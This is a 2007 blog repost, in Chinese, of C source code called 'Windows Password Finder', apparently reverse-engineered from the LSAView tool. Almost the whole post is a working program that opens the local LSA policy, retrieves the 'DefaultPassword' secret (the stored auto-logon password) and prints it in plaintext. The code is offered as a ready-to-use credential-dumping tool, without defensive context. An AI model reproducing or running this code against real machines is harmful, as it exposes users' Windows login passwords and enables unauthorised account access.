June 04, 2007
Windows Password Finder
这个是isno从LSAView里逆向后改写的代码,转过来:
#include <windows.h>
#include <ntsecapi.h>
#include <tchar.h>
#include <stdio.h>
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#pragma comment(lib,"advapi32.lib")
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int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
char private_data[0x500] = {0};
int data_len;
LSA_OBJECT_ATTRIBUTES lsa_object_attr;
LSA_HANDLE lsa_handle;
PLSA_UNICODE_STRING plsa_private_data;
LSA_UNICODE_STRING lsa_keyname;
NTSTATUS status;
int ret;
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memset(&lsa_object_attr, 0, sizeof(lsa_object_attr));
lsa_object_attr.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
LsaOpenPolicy(0, &lsa_object_attr, 0x800, &lsa_handle);
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plsa_private_data = (PLSA_UNICODE_STRING)malloc(sizeof(LSA_UNICODE_STRING));
plsa_private_data->Length = 0x500;
plsa_private_data->MaximumLength = 0x500;
plsa_private_data->Buffer = (PWSTR)malloc(0x500);
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lsa_keyname.MaximumLength = 0x200;
lsa_keyname.Buffer = (PWSTR)malloc(0x200);
wcscpy(lsa_keyname.Buffer,L"DefaultPassword");
lsa_keyname.Length = wcslen(lsa_keyname.Buffer) * 2;
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status = LsaRetrievePrivateData(lsa_handle,
&lsa_keyname,
&plsa_private_data);
LsaClose(lsa_handle);
if(status != 0)
{
printf("[-] LsaRetrievePrivateData failed: %d\n",
LsaNtStatusToWinError(status));
return 0;
}
ret = WideCharToMultiByte(0, 0, plsa_private_data->Buffer,
plsa_private_data->Length,
private_data, sizeof(private_data), 0, 0);
if(ret == 0)
{
printf("[-] WideCharToMultiByte failed:%d\n", GetLastError());
return 0;
}
data_len = ret;
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printf("Default Password: %s\r\n", private_data);
return nRetCode;
}